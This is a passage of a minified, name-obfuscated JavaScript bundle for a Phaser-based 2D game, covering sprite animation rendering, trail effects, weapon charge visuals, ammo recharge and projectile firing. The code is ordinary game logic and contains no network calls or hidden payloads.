_0x47a5f6 = _0x2481bb?.['restartAnimationIfPlaying'] ?? !0x1, _0x1d39ee = _0x2481bb?.['loop'] ?? !0x1, _0xd443f5 = _0x35bc15['animationConfig']['key'], _0x3a8708 = this['animationConfigs'][this['currentAnimationConfigName']], _0x11557c = this['sprite']['anims']['currentAnim']?.['key'] === _0xd443f5 || _0x3a8708?.['cannotBeRestartedByThisAnimation'] === _0xd443f5; !0x1 === _0x47a5f6 && _0x11557c || (this['sprite']['play']({ 'key': _0xd443f5, 'repeat': _0x1d39ee ? -0x1 : _0x35bc15['animationConfig']['repeat'] ?? 0x0 }), this['sprite']['off']('animationupdate', this['onAnimationUpdate'], this), this['sprite']['on']('animationupdate', this['onAnimationUpdate'], this), this['sprite']['off']('animationcomplete', this['onAnimationComplete'], this), this['sprite']['on']('animationcomplete', this['onAnimationComplete'], this), this['setupAnimation'](_0x35bc15, _0x55fa65)); } ['playFirst']() { this['play']({ 'animationName': Object['keys'](this['animationConfigs'])[0x0] }); } ['get']() { return this['sprite']; } ['isPlayingAnimation'](_0x42f311) { return (Array['isArray'](_0x42f311) ? _0x42f311 : [_0x42f311])['some'](_0x27b660 => this['sprite']['anims']['isPlaying'] && this['sprite']['anims']['currentAnim']?.['key'] === _0x27b660); } ['getCurrentAnimationName']() { return this['sprite']['anims']['isPlaying'] ? this['sprite']['anims']['currentAnim']?.['key'] ?? '' : ''; } ['stop']() { this['sprite']['stop'](), this['sprite']['anims']['currentAnim'] = null; } ['setupAnimation'](_0x36c772, _0x35541e) { if (this['currentAnimationConfigName'] = _0x35541e, 'USE_ROTATION' === _0x36c772['rotationType']) this['setupUseRotationType'](_0x36c772); else this['setupConstantRotationType'](_0x36c772); this['setupFade'](_0x36c772), this['handleDirectionalFlip'](this['store']['get']('lookDirection')), this['handlePositionUpdate'](this['store']['get']('renderPosition')), this['sprite']['setFlipY'](_0x36c772['swapY'] ?? !0x1), this['sprite']['setBlendMode'](this['config']['forcedBlendMode'] ?? _0x36c772['blendMode'] ?? Phaser['BlendModes']['NORMAL']), this['sprite']['setAlpha'](_0x36c772['alpha'] ?? 0x1); const _0x700894 = this['sprite']['blendMode'] === Phaser['BlendModes']['ADD'] ? _0x51865b['LAYER_DEPTHS']['SPRITE_ADD'] : _0x51865b['LAYER_DEPTHS']['SPRITE'], _0xbff239 = this['config']['forcedDepth'] ?? _0x700894 + (_0x36c772['renderDepthOffset'] ?? 0x0); this['sprite']['setDepth'](_0xbff239), this['sprite']['setScale'](_0x36c772['scale'] ?? 0x1), _0x36c772['scaleX'] && (this['sprite']['scaleX'] = _0x36c772['scaleX'] * (_0x36c772['scale'] ?? 0x1)), _0x36c772['scaleY'] && (this['sprite']['scaleY'] = _0x36c772['scaleY'] * (_0x36c772['scale'] ?? 0x1)), this['sprite']['setTint'](_0x36c772['tint'] ?? 0xffffff), this['config']['tint'] && this['sprite']['setTint'](this['config']['tint']), this['config']['applyActionOnSprite'] && !(0x0, _0x5e41fe['runningAsBackend'])() && this['config']['applyActionOnSprite'](this['sprite']); } ['createAnimationConfig'](_0xd5aea7) { const _0x447da1 = this['gameContext']['getAnimationConfig'](_0xd5aea7); return this['scene']['anims']['exists'](_0x447da1['animationConfig']['key']) || this['scene']['anims']['create'](_0x447da1['animationConfig']), _0x447da1; } ['createSprite'](_0xb2290a) { this['scene']['anims']['exists'](_0xb2290a['animationConfig']['key']) || this['scene']['anims']['create'](_0xb2290a['animationConfig']); const _0x4d45d5 = _0xb2290a['animationConfig']['key'] ? void 0x0 : _0xb2290a['animationConfig']['staticFrame'], _0xe11064 = this['scene']['add']['sprite'](NaN, NaN, _0xb2290a['textureName'], _0x4d45d5); return _0xe11064['visible'] = this['scene']['getFromStore']('spritesEnabled'), _0xe11064; } ['setupConstantRotationType'](_0x18363b) { const _0x3d42bb = (0x0, _0x3027ae['isFacingLeft'])(this['store']['get']('lookDirection')) ? -0x1 : 0x1, _0x9e8931 = (0x0, _0x317804['degToRad'])(_0x18363b['offsetRotation'] ?? 0x0) * _0x3d42bb; this['sprite']['setRotation'](_0x9e8931); } ['setupUseRotationType'](_0x4d3b5e) { const _0x2ec8b1 = (0x0, _0x3027ae['isFacingLeft'])(this['store']['get']('lookDirection')) ? -0x1 : 0x1, _0x12ef11 = (0x0, _0x317804['degToRad'])(_0x4d3b5e['offsetRotation'] ?? 0x0) * _0x2ec8b1 + this['store']['get']('renderRotation'); this['sprite']['setRotation'](_0x12ef11), this['store']['subscribe']('renderRotation', ({ oldValue: _0x29e4f0, newValue: _0x5492ae }) => { const _0x3c0159 = (0x0, _0x3027ae['isFacingLeft'])(this['store']['get']('lookDirection')) ? -0x1 : 0x1; this['sprite']['setRotation']((0x0, _0x317804['degToRad'])(_0x4d3b5e['offsetRotation'] ?? 0x0) * _0x3c0159 + _0x5492ae); }); } ['setupFlip']() { this['store']['subscribe']('lookDirection', ({ oldValue: _0x31d094, newValue: _0x1b2d2a }) => this['handleDirectionalFlip'](_0x1b2d2a)); } ['handleDirectionalFlip'](_0x1924a9) { const _0x442077 = this['animationConfigs'][this['currentAnimationConfigName']], _0x2435b0 = _0x442077['flipXForLeftDirection'] && (0x0, _0x3027ae['isFacingLeft'])(_0x1924a9) !== !!_0x442077['swapX']; this['sprite']['setFlipX'](!!_0x2435b0), (void 0x0 !== _0x442077['affectedByLight'] ? _0x442077['affectedByLight'] : this['config']['affectedByLight']) ? _0x2435b0 ? this['sprite']['setPipeline']('Light2DFlippedX') : this['sprite']['setPipeline']('Light2D') : this['sprite']['resetPipeline'](); } ['setupPosition']() { this['store']['subscribe']('renderPosition', ({ oldValue: _0x36dee6, newValue: _0x55e65d }) => this['handlePositionUpdate'](_0x55e65d)); } ['handlePositionUpdate'](_0x43735e) { const _0x531594 = this['animationConfigs'][this['currentAnimationConfigName']], _0x130d45 = this['store']['get']('renderRotation'), _0x201360 = _0x531594['offsetPosition']?.['x'] ?? 0x0, _0x5f1557 = _0x531594['offsetPosition']?.['y'] ?? 0x0; let _0x47e74d = _0x5f1557 * Math['cos'](_0x130d45) - _0x201360 * Math['sin'](_0x130d45); const _0x515557 = _0x5f1557 * Math['sin'](_0x130d45) + _0x201360 * Math['cos'](_0x130d45); (0x0, _0x3027ae['isFacingLeft'])(this['store']['get']('lookDirection')) && (_0x47e74d = -_0x47e74d), this['sprite']['setPosition'](_0x43735e['x'] + _0x47e74d, _0x43735e['y'] + _0x515557); } ['setupFade'](_0x56316d) { if (!_0x56316d['fade']) return; const _0x54df21 = _0x56316d['fade']; this['sprite']['setAlpha'](_0x54df21['initialAlpha']), this['gameContext']['timeProvider']['delayAction'](() => { this['scene'] && (this['scene']['tweens']['add']({ 'targets': this['sprite'], 'alpha': { 'from': _0x54df21['initialAlpha'], 'to': _0x54df21['targetAlpha'] }, 'duration': _0x54df21['durationMS'], 'onComplete': () => { } }), (_0x54df21['initialScale'] || _0x54df21['targetScale']) && this['scene']['tweens']['add']({ 'targets': this['sprite'], 'scale': { 'from': _0x54df21['initialScale'] ?? 0x1, 'to': _0x54df21['targetScale'] ?? 0x0 }, 'duration': _0x54df21['durationMS'], 'onComplete': () => { } })); }, _0x54df21['startTimeMS']); } ['setupDebugVisibility']() { this['debugVisibilityHandle'] = (_0x131a62 => { this['sprite']['setVisible'](_0x131a62['newValue']); })['bind'](this), this['scene']['subscribeToStore']('spritesEnabled', this['debugVisibilityHandle']); } ['isActorInCamera'](_0x188e8a) { const _0x123100 = this['gameContext']['getCamera'](_0x188e8a)['worldView'], _0x485515 = { 'left': this['sprite']['x'] - this['sprite']['displayWidth'] * this['sprite']['originX'], 'right': this['sprite']['x'] + this['sprite']['displayWidth'] * (0x1 - this['sprite']['originX']), 'top': this['sprite']['y'] - this['sprite']['displayHeight'] * this['sprite']['originY'], 'bottom': this['sprite']['y'] + this['sprite']['displayHeight'] * (0x1 - this['sprite']['originY']) }, _0x1f4cb1 = (_0x485515['left'] + _0x485515['right']) / 0x2, _0x5f1821 = (_0x485515['top'] + _0x485515['bottom']) / 0x2; return _0x123100['contains'](_0x485515['left'], _0x485515['top']) || _0x123100['contains'](_0x485515['right'], _0x485515['top']) || _0x123100['contains'](_0x485515['left'], _0x485515['bottom']) || _0x123100['contains'](_0x485515['right'], _0x485515['bottom']) || _0x123100['contains'](_0x1f4cb1, _0x5f1821); } ['onAnimationUpdate'](_0x16eac3, _0x469994) { this['animationConfigs'][this['currentAnimationConfigName']]['eventFrames']?.['includes'](_0x469994['textureFrame']) && this['messageBus']['publish']('spriteEvent', { 'animationName': this['currentAnimationConfigName'], 'frameName': _0x469994['textureFrame'] }); } ['onAnimationComplete'](_0x3a4555, _0x3c3ee6) { const _0x1ed38a = this['animationConfigs'][this['currentAnimationConfigName']]; _0x1ed38a['destroyOnAnimationEnd'] && this['coreDestroy'](), _0x1ed38a['playNextAnimationOnEnd'] && !_0x1ed38a['destroyOnAnimationEnd'] && this['play']({ 'animationName': _0x1ed38a['playNextAnimationOnEnd'] }); } } _0x2d903b['AnimatedSpriteRenderComponent'] = _0x36297f; }, 0xc99: function (_0x37361e, _0x27ddcb, _0x3746c4) { 'use strict'; var _0xad77f8 = this && this['__createBinding'] || (Object['create'] ? function (_0x204cb6, _0x7199b4, _0xbfb4df, _0x149db9) { void 0x0 === _0x149db9 && (_0x149db9 = _0xbfb4df); var _0x410fcc = Object['getOwnPropertyDescriptor'](_0x7199b4, _0xbfb4df); _0x410fcc && !('get' in _0x410fcc ? !_0x7199b4['__esModule'] : _0x410fcc['writable'] || _0x410fcc['configurable']) || (_0x410fcc = { 'enumerable': !0x0, 'get': function () { return _0x7199b4[_0xbfb4df]; } }), Object['defineProperty'](_0x204cb6, _0x149db9, _0x410fcc); } : function (_0x594352, _0x51f1a7, _0x5dd386, _0xda6b54) { void 0x0 === _0xda6b54 && (_0xda6b54 = _0x5dd386), _0x594352[_0xda6b54] = _0x51f1a7[_0x5dd386]; }), _0x4bace4 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x275036, _0x309145) { Object['defineProperty'](_0x275036, 'default', { 'enumerable': !0x0, 'value': _0x309145 }); } : function (_0x35065e, _0x39c9b8) { _0x35065e['default'] = _0x39c9b8; }), _0x2f54a7 = this && this['__importStar'] || function (_0x26bf98) { if (_0x26bf98 && _0x26bf98['__esModule']) return _0x26bf98; var _0x36f4f2 = {}; if (null != _0x26bf98) { for (var _0x22fc4f in _0x26bf98) 'default' !== _0x22fc4f && Object['prototype']['hasOwnProperty']['call'](_0x26bf98, _0x22fc4f) && _0xad77f8(_0x36f4f2, _0x26bf98, _0x22fc4f); } return _0x4bace4(_0x36f4f2, _0x26bf98), _0x36f4f2; }; Object['defineProperty'](_0x27ddcb, '__esModule', { 'value': !0x0 }), _0x27ddcb['TrailEffectController'] = _0x27ddcb['TTrailConfig'] = void 0x0; const _0x105c35 = _0x3746c4(0x1520), _0x578510 = _0x3746c4(0x5f9), _0x5d7129 = _0x3746c4(0x1ecd), _0x1c12b1 = _0x2f54a7(_0x3746c4(0x22f3)); _0x27ddcb['TTrailConfig'] = _0x1c12b1['intersection']([_0x1c12b1['type']({ 'trailName': _0x1c12b1['string'], 'animationName': _0x1c12b1['string'], 'frequency': _0x1c12b1['number'] }), _0x1c12b1['partial']({ 'flash': _0x578510['TFlashConfig'], 'screenShake': _0x578510['TScreenShakeConfig'], 'sound': _0x5d7129['TRequestSoundConfig'] })]); class _0x21569e extends _0x105c35['ComponentController']{ constructor(_0x2287fb) { super(_0x2287fb); } ['init']() { const _0x2d2a1e = {}; this['config']['trailConfigs']['forEach'](_0x53e0ca => { _0x2d2a1e[_0x53e0ca['trailName']] = 0x0; }), this['store']['update']('timeSinceLastTrailSpawnMS', _0x2d2a1e); } ['coreUpdate'](_0x4e9025) { const _0x152500 = this['store']['get']('timeSinceLastTrailSpawnMS'); this['config']['trailConfigs']['forEach'](_0x3e9fca => { _0x152500[_0x3e9fca['trailName']] -= 0x3e8 * _0x4e9025, _0x152500[_0x3e9fca['trailName']] < 0x0 && (this['renderTrailSprite'](_0x3e9fca), this['maybeRenderAdditionalTrailEffects'](_0x3e9fca), _0x152500[_0x3e9fca['trailName']] = 0x3e8 / _0x3e9fca['frequency']); }), this['store']['update']('timeSinceLastTrailSpawnMS', _0x152500); } ['renderTrailSprite'](_0x39116d) { this['component']['createSpriteEffect']({ ...this['gameContext']['getAnimationConfig'](_0x39116d['animationName']), 'followActorPosition': !0x1, 'direction': 0x0 }); } ['maybeRenderAdditionalTrailEffects'](_0x49c027) { const _0x5b6e8f = this['store']['get']('renderPosition'); _0x49c027['screenShake'] && this['gameMessageBus']['publish']('requestScreenShake', { 'config': _0x49c027['screenShake'], 'position': _0x5b6e8f }), _0x49c027['flash'] && this['gameMessageBus']['publish']('requestFlash', { 'config': _0x49c027['flash'], 'position': _0x5b6e8f }), _0x49c027['sound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { ..._0x49c027['sound'], 'position': _0x5b6e8f } }); } } _0x27ddcb['TrailEffectController'] = _0x21569e; }, 0x6d6: (_0x12d3ea, _0x10b27c) => { 'use strict'; Object['defineProperty'](_0x10b27c, '__esModule', { 'value': !0x0 }), _0x10b27c['trailModel'] = void 0x0, _0x10b27c['trailModel'] = { 'timeSinceLastTrailSpawnMS': {} }; }, 0x56b: (_0x2eb95a, _0x206ec7, _0x327602) => { 'use strict'; Object['defineProperty'](_0x206ec7, '__esModule', { 'value': !0x0 }), _0x206ec7['WeaponChargeController'] = void 0x0; const _0x326741 = _0x327602(0x221b), _0x7b1f60 = _0x327602(0x1520), _0x23f5a6 = _0x327602(0x959), _0x5c80bd = _0x327602(0x2347); class _0x193b77 extends _0x7b1f60['ComponentController']{ ['getRandomElementExceptLast'];['weaponPhaseSpriteItems'] = [];['weaponPhaseDelayMSPerAnimationName'] = {}; constructor(_0x5b5f57) { super(_0x5b5f57); } ['init']() { this['getRandomElementExceptLast'] = this['gameContext']['rngProvider']['createRandomElementSelector'](), this['store']['subscribe']('hp', _0xb38f7b => { _0xb38f7b['oldValue'] > 0x0 && _0xb38f7b['newValue'] <= 0x0 && this['cancelCharge'](); }), this['store']['subscribe']('stunTimeMS', _0x3e20a3 => { _0x3e20a3['oldValue'] <= 0x0 && _0x3e20a3['newValue'] > 0x0 && this['cancelCharge'](); }), this['messageBus']['subscribe'](this, 'attackPhaseEnds', _0x3d7747 => this['onAttackPhaseEnds'](_0x3d7747)); } ['update'](_0x4e77bb) { this['store']['get']('hp') <= 0x0 || (this['decrementAnimationCounters'](_0x4e77bb), this['updatePhaseAnimations']()); } ['cancelCharge']() { this['deleteChargeSprites'](), this['weaponPhaseDelayMSPerAnimationName'] = {}, this['weaponPhaseSpriteItems'] = []; } ['updatePhaseAnimations']() { const _0x258d3a = this['getPhaseRenderEffectConfig'](); if (!_0x258d3a) return; 'OPERATING' === this['store']['get']('weaponActivityState') && (_0x258d3a['useAllAnimations'] ? this['renderAllAnimations'](_0x258d3a) : this['renderOneAnimation'](_0x258d3a)); } ['onAttackPhaseEnds'](_0x4050bf) { _0x4050bf['attackConfig']['phaseRenderEffectConfig']?.['preserveAnimationsOnNextPhase'] || (this['weaponPhaseDelayMSPerAnimationName'] = {}, this['deleteChargeSprites']()); } ['deleteChargeSprites']() { this['weaponPhaseSpriteItems']['forEach'](_0x13f47f => { this['component']['deleteSprite'](_0x13f47f); }), this['weaponPhaseSpriteItems'] = []; } ['getAnimationConfig'](_0x466f44) { return this['gameContext']['getAnimationConfig'](_0x466f44); } ['decrementAnimationCounters'](_0x1c736e) { const _0x54975e = { ...this['weaponPhaseDelayMSPerAnimationName'] }; Object['keys'](_0x54975e)['forEach'](_0x1bb990 => { _0x54975e[_0x1bb990] -= 0x3e8 * _0x1c736e; }), this['weaponPhaseDelayMSPerAnimationName'] = _0x54975e; } ['renderAllAnimations'](_0x467c9b) { _0x467c9b['animations']['forEach'](_0x154e7a => { this['renderAnimation'](_0x154e7a['animationName'], _0x467c9b); }); } ['renderOneAnimation'](_0x311f99) { const _0x23f961 = this['getRandomElementExceptLast'](_0x326741['EProviderContext']['FRONTEND_ONLY'], _0x311f99['animations']['map'](_0x206900 => _0x206900['animationName'])); this['renderAnimation'](_0x23f961, _0x311f99); } ['renderAnimation'](_0x52b354, _0x6f4f65) { const _0x35dc26 = { ...this['weaponPhaseDelayMSPerAnimationName'] }; if (_0x35dc26[_0x52b354] > 0x0) return; const _0x39551b = _0x6f4f65['animations']['find'](_0x3696cf => _0x3696cf['animationName'] === _0x52b354), _0xe1e26e = this['getAnimationConfig'](_0x39551b['animationName']), _0x340cb5 = this['getAttackConfig'](); if (!_0x340cb5) return; const _0x29ac83 = _0x340cb5['attackFiringPointConfigs'] ?? { 'default': this['config']['firingPoints']['default'] }; Object['entries'](_0x29ac83)['forEach'](([_0x3d9e3b, _0x3a0223]) => { const _0x174cb8 = this['config']['firingPoints'][_0x3d9e3b], _0x8d4bf7 = (0x0, _0x23f5a6['getFiringPointAngle'])(this['store']['get']('lookDirection'), _0x174cb8), _0x219e04 = this['component']['createSpriteEffect']({ ..._0xe1e26e, 'followActorPosition': !0x0, 'direction': _0x8d4bf7, 'renderPositionFunction': () => this['getAnimationRenderPosition'](_0x174cb8) }); this['weaponPhaseSpriteItems']['push'](_0x219e04); }), _0x35dc26[_0x39551b['animationName']] = _0x39551b['repeatAnimationAfterMS'] ?? 0x1 / 0x0, this['weaponPhaseDelayMSPerAnimationName'] = _0x35dc26; } ['getPhaseRenderEffectConfig']() { const _0x2772b4 = this['getAttackConfig'](), _0x1e4ee8 = _0x2772b4?.['phaseRenderEffectConfig']; return _0x1e4ee8; } ['getAttackConfig']() { const _0x4b22b2 = this['store']['get']('currentWeaponName'); if (!_0x4b22b2) return; return this['gameContext']['getWeaponConfig'](_0x4b22b2)['attackConfigs'][this['store']['get']('currentPhaseIndex')]; } ['getAnimationRenderPosition'](_0x57f4b9) { const _0xc3a14f = this['store']['get']('physicsPosition'); return (0x0, _0x5c80bd['physicsVector2RenderVector'])((0x0, _0x23f5a6['getFiringPosition'])(this['store']['get']('lookDirection'), _0xc3a14f, _0x57f4b9)); } } _0x206ec7['WeaponChargeController'] = _0x193b77; }, 0x18b9: (_0x50bad1, _0x558287, _0x375741) => { 'use strict'; Object['defineProperty'](_0x558287, '__esModule', { 'value': !0x0 }), _0x558287['WeaponComponent'] = void 0x0; const _0x5862a3 = _0x375741(0x18e5), _0xf3d6fc = _0x375741(0x2414), _0x1e405b = _0x375741(0x221b), _0x2027a3 = _0x375741(0x959), _0x644d97 = _0x375741(0x2f5), _0x48ead0 = _0x375741(0x1832), _0x355ba9 = _0x375741(0x1b39); class _0x565857 extends _0xf3d6fc['ActorComponent']{ constructor(_0x3a3811) { super(_0x3a3811); } ['init']() { this['messageBus']['subscribe'](this, 'startAttack', _0x579cb5 => this['startAttack'](_0x579cb5)), this['messageBus']['subscribe'](this, 'fireProjectile', _0xef8da7 => this['fireProjectile'](_0xef8da7)), this['messageBus']['subscribe'](this, 'attackPhaseStarts', _0x1eb1c4 => this['onAttackPhaseStart'](_0x1eb1c4)); const _0x3d5ef5 = {}; if (Object['keys'](this['config']['firingPoints'])['forEach'](_0x574f3b => _0x3d5ef5[_0x574f3b] = new _0x5862a3['Vector'](NaN, NaN)), !this['config']['ammo']) return; const _0xa9e740 = {}; Object['keys'](this['config']['ammo'])['forEach'](_0x5cdafb => { const _0x2ae46e = this['config']['ammo'][_0x5cdafb]; _0xa9e740[_0x5cdafb] = { 'current': _0x2ae46e['current'], 'max': _0x2ae46e['max'], 'rechargeTimeMS': _0x2ae46e['rechargeTimeMS'], 'timeLeftToRechargeAmmoMS': -0x1 }; }), this['store']['update']('ammo', _0xa9e740); } ['update'](_0x1e7e84) { this['updateAmmo'](_0x1e7e84), this['maybeUpdateAbsoluteSpinFiringAngle'](_0x1e7e84); } ['updateAmmo'](_0x1d3f9b) { const _0x166549 = this['store']['get']('ammo'); if (!_0x166549) return; let _0x457485 = !0x1; Object['entries']({ ..._0x166549 })['forEach'](([_0x1784d0, _0x4d7ab0]) => { _0x4d7ab0['current'] < _0x4d7ab0['max'] && this['config']['ammo'][_0x1784d0]['rechargeTimeMS'] && (_0x4d7ab0['timeLeftToRechargeAmmoMS'] || (_0x4d7ab0['timeLeftToRechargeAmmoMS'] = this['config']['ammo'][_0x1784d0]['rechargeTimeMS']), _0x4d7ab0['timeLeftToRechargeAmmoMS'] -= 0x3e8 * _0x1d3f9b, _0x4d7ab0['timeLeftToRechargeAmmoMS'] <= 0x0 && (_0x4d7ab0['current'] = _0x4d7ab0['current'] + 0x1, _0x457485 = !0x0, _0x4d7ab0['timeLeftToRechargeAmmoMS'] = this['config']['ammo'][_0x1784d0]['rechargeTimeMS'])); }), _0x457485 && this['store']['update']('ammo', _0x166549, { 'forceUpdate': !0x0 }); } ['maybeUpdateAbsoluteSpinFiringAngle'](_0x57f7c6) { const _0x340e69 = this['store']['get']('currentWeaponName'); if (!_0x340e69) return; const _0x43c0d2 = this['gameContext']['getWeaponConfig'](_0x340e69)['attackConfigs'][this['store']['get']('currentPhaseIndex')]; if ('ABSOLUTE_SPIN' !== _0x43c0d2['directionType']) return; const _0x2872c0 = (0x0, _0x355ba9['degToRad'])(_0x43c0d2['spinDegreesPerSecond'] ?? 0x1) * _0x57f7c6, _0x448314 = this['store']['get']('lookDirection') < 0x0 && _0x43c0d2['directionUsesFacingDirection'] ? -0x1 : 0x1, _0x56f1ee = this['store']['get']('absoluteSpinFiringAngle') + _0x2872c0 * _0x448314; this['store']['update']('absoluteSpinFiringAngle', _0x56f1ee); } ['onAttackPhaseStart'](_0x3201d6) { const _0x1117a4 = _0x3201d6['attackConfig']; if ('ABSOLUTE_SPIN' !== _0x1117a4['directionType']) return; const _0x153c16 = this['store']['get']('lookDirection') < 0x0 && _0x1117a4['directionUsesFacingDirection'] ? -0x1 : 0x1, _0x2edd12 = (0x0, _0x355ba9['degToRad'])(_0x1117a4['absoluteSpinInitialAngle'] ?? 0x0) * _0x153c16; this['store']['update']('absoluteSpinFiringAngle', _0x2edd12); } ['startAttack'](_0x29afea) { const _0x4889dd = _0x29afea['attackConfig'], _0x538144 = _0x4889dd['projectileType']; if (!_0x538144) return; const _0x47deea = this['store']['get']('physicsPosition'); Object['keys'](_0x4889dd['attackFiringPointConfigs'] ?? {})['forEach'](_0x5cd8d0 => { const _0x2f120d = (0x0, _0x2027a3['getFiringPosition'])(this['store']['get']('lookDirection'), _0x47deea, this['config']['firingPoints'][_0x5cd8d0]), _0x41e195 = 'ABSOLUTE_SPIN' === _0x4889dd['directionType'], _0x120109 = _0x4889dd['attackFiringPointConfigs'][_0x5cd8d0], _0x29fc60 = _0x120109['customProjectileType'] ?? _0x538144, _0x570912 = this['getProjectileConfig'](_0x29fc60); let _0x273cc9; _0x273cc9 = _0x41e195 ? this['store']['get']('absoluteSpinFiringAngle') : 'ABSOLUTE' === _0x4889dd['directionType'] ? 0x0 : this['store']['get']('firingPointLookDirections')[_0x5cd8d0]; const _0x66d32a = this['store']['get']('lookDirection') < 0x0 && _0x4889dd['directionUsesFacingDirection'] ? -0x1 : 0x1; _0x273cc9 += (0x0, _0x355ba9['degToRad'])(_0x120109['attackDirectionOffset'] ?? 0x0) * _0x66d32a; const _0x274d6f = _0x120109['projectileCount'] ?? 0x1, _0x38118c = _0x120109['distributionType'] || 'AREA'; for (let _0x12410b = 0x0; _0x12410b < _0x274d6f; _0x12410b++) { const { velocity: _0x4d6aab, direction: _0x14f464 } = this['createDistributionData'](_0x38118c, _0x273cc9, _0x120109, _0x12410b), _0x5f2ab5 = _0x14f464, _0x59ee9e = _0x4d6aab; this['messageBus']['publish']('fireProjectile', { ..._0x29afea, 'projectileType': _0x29fc60, 'projectileConfig': _0x570912, 'firingDirection': _0x5f2ab5, 'firingPosition': _0x2f120d, 'firingPointName': _0x5cd8d0, 'firingVelocity': _0x59ee9e, 'attackFiringPointConfig': _0x120109, 'damageMultiplier': 0x1 }); } this['messageBus']['publish']('fireWeaponPoint', { ..._0x29afea, 'firingDirection': _0x273cc9, 'attackFiringPointConfig': _0x120109, 'firingPosition': _0x2f120d, 'firingPointName': _0x5cd8d0 }); }), this['messageBus']['publish']('fireWeapon', { ..._0x29afea }); } ['fireProjectile'](_0x1da6d6) { const _0x274c77 = _0x1da6d6['attackConfig']; if (!_0x274c77['attackFiringPointConfigs']) return; const _0x21a874 = _0x1da6d6['projectileConfig']; if (!_0x21a874) return; const _0x4d3054 = [this['actor']['getTags']()['includes'](_0x48ead0['EActorTag']['PLAYER']) ? _0x48ead0['EActorTag']['PLAYER_PROJECTILE'] : _0x48ead0['EActorTag']['ENEMY_PROJECTILE']], _0x369078 = {}; if (_0x274c77['spinDegreesPerSecond']) { const _0x3a10d0 = _0x274c77['spinProjectileDegreesPerSecond'] ?? _0x274c77['spinDegreesPerSecond']; _0x369078['spinDegreesPerSecond'] = _0x3a10d0; } let _0x3a2844 = _0x274c77['attachToFiringPoint'] ? this['config']['firingPoints'][_0x274c77['attachToFiringPoint']] : void 0x0; _0x1da6d6['attackFiringPointConfig']['attachToFiringPoint'] && (_0x3a2844 = this['config']['firingPoints'][_0x1da6d6['firingPointName']]); const _0x3c0503 = { 'projectileConfig': { ..._0x21a874, ..._0x369078 }, 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'recoilCallback': this['recoilCallback']['bind'](this), 'world': this['config']['world'], 'gameContext': this['gameContext'], 'tags': _0x4d3054, 'projectileType': _0x1da6d6['projectileType'], 'attachToFiringPointConfig': _0x3a2844, 'attachedFiringPointName': _0x1da6d6['firingPointName'], 'projectileVelocity': _0x1da6d6['firingVelocity'], 'damageMultiplier': _0x1da6d6['damageMultiplier'], 'initialDirection': _0x1da6d6['firingDirection'], 'initialPosition': _0x1da6d6['firingPosition'], 'useOwnerLookDirection': _0x274c77['useOwnerLookDirection'], 'ownerActor': this['actor'] }, _0x513a60 = _0x644d97['GAMEPLAY_ACTOR_MAP']['projectile'](_0x3c0503); this['actor']['registerActor'](_0x513a60); } ['createBaseVelocityVector'](_0x4469bc, _0x34bfe3) { const _0x493cc8 = Math['PI'] / 0x2 - _0x4469bc, _0xb5f1e8 = _0x34bfe3 * Math['cos'](_0x493cc8), _0x29b181 = -_0x34bfe3 * Math['sin'](_0x493cc8); return new _0x5862a3['Vector'](_0xb5f1e8, _0x29b181); } ['createRandomVector'](_0x469247) { const _0x159ffd = this['gameContext']['rngProvider']['getRandomFloat'](_0x1e405b['EProviderContext']['MAIN'], 0x0, 0x2 * Math['PI']), _0x4e69de = _0x469247 * Math['cos'](_0x159ffd), _0x328911 = _0x469247 * Math['sin'](_0x159ffd); return new _0x5862a3['Vector'](_0x4e69de, _0x328911); } ['recoilCallback'](_0x1f1d36) { this['messageBus']['publish']('recoilOnHit', _0x1f1d36); } ['createDistributionData'](_0x40243b, _0xd74445, _0x370f6d, _0x50ce12) { switch (_0x40243b) { case 'WAVE': return 0x168 === _0x370f6d['distribution'] ? this['createVelocityVectorWithFullCircleDistribution'](_0xd74445, _0x370f6d, _0x50ce12) : this['createVelocityVectorWithWaveDistribution'](_0xd74445, _0x370f6d, _0x50ce12); case 'DIRECTION': return this['createVelocityVectorWithDirectionDistribution'](_0xd74445, _0x370f6d); default: return this['createVelocityVectorWithAreaDistribution'](_0xd74445, _0x370f6d); } } ['createVelocityVectorWithAreaDistribution'](_0x311d9f, _0x13bb65) { const _0x1137ba = _0x13bb65['distribution'] ?? 0x0, _0x263ae7 = _0x1137ba ? this['createRandomVector'](this['gameContext']['rngProvider']['getRandomFloat'](_0x1e405b['EProviderContext']['MAIN'], 0x0, _0x1137ba)) : new _0x5862a3['Vector'](0x0, 0x0), _0x4973d7 = this['createBaseVelocityVector'](_0x311d9f, _0x13bb65['speed'] ?? 0x0); return { 'velocity': (0x0, _0x5862a3['add'])(_0x4973d7, _0x263ae7), 'direction': _0x311d9f }; } ['createVelocityVectorWithWaveDistribution'](_0xa87bff, _0x25fad5, _0x5e689c) { const _0x21415f = (0x0, _0x355ba9['degToRad'])(_0x25fad5['distribution'] ?? 0x0), _0x137e0e = _0x25fad5['projectileCount'] ?? 0x1, _0x5dbcfa = 0x1 === _0x137e0e ? 0x0 : _0x21415f / (_0x137e0e - 0x1) * _0x5e689c - _0x21415f / 0x2; return { 'velocity': this['createBaseVelocityVector'](_0xa87bff + _0x5dbcfa, _0x25fad5['speed'] ?? 0x0), 'direction': _0xa87bff + _0x5dbcfa }; } ['createVelocityVectorWithFullCircleDistribution'](_0x21dee3, _0x6d0ff1, _0x3ffab5) { const _0x5c226d = 0x2 * Math['PI'], _0x51d38f = _0x6d0ff1['projectileCount'] ?? 0x1, _0x5460ab = 0x1 === _0x51d38f ? 0x0 : _0x5c226d / _0x51d38f * _0x3ffab5 - _0x5c226d / 0x2 + _0x5c226d / _0x51d38f / 0x2; return { 'velocity': this['createBaseVelocityVector'](_0x21dee3 + _0x5460ab, _0x6d0ff1['speed'] ?? 0x0), 'direction': _0x21dee3 + _0x5460ab }; } ['createVelocityVectorWithDirectionDistribution'](_0x24cd12, _0x756998) { const _0x47e34e = (0x0, _0x355ba9['degToRad'])(_0x756998['distribution'] ?? 0x0), _0x1af285 = this['gameContext']['rngProvider']['getRandomFloat'](_0x1e405b['EProviderContext']['MAIN'], -_0x47e34e / 0x2, _0x47e34e / 0x2); return { 'velocity': this['createBaseVelocityVector'](_0x24cd12 + _0x1af285, _0x756998['speed'] ?? 0x0), 'direction': _0x24cd12 + _0x1af285 }; } ['getProjectileConfig'](_0x46b483) { return this['gameContext']['getProjectileConfig'](_0x46b483); } } _0x558287['WeaponComponent'] = _0x565857; }, 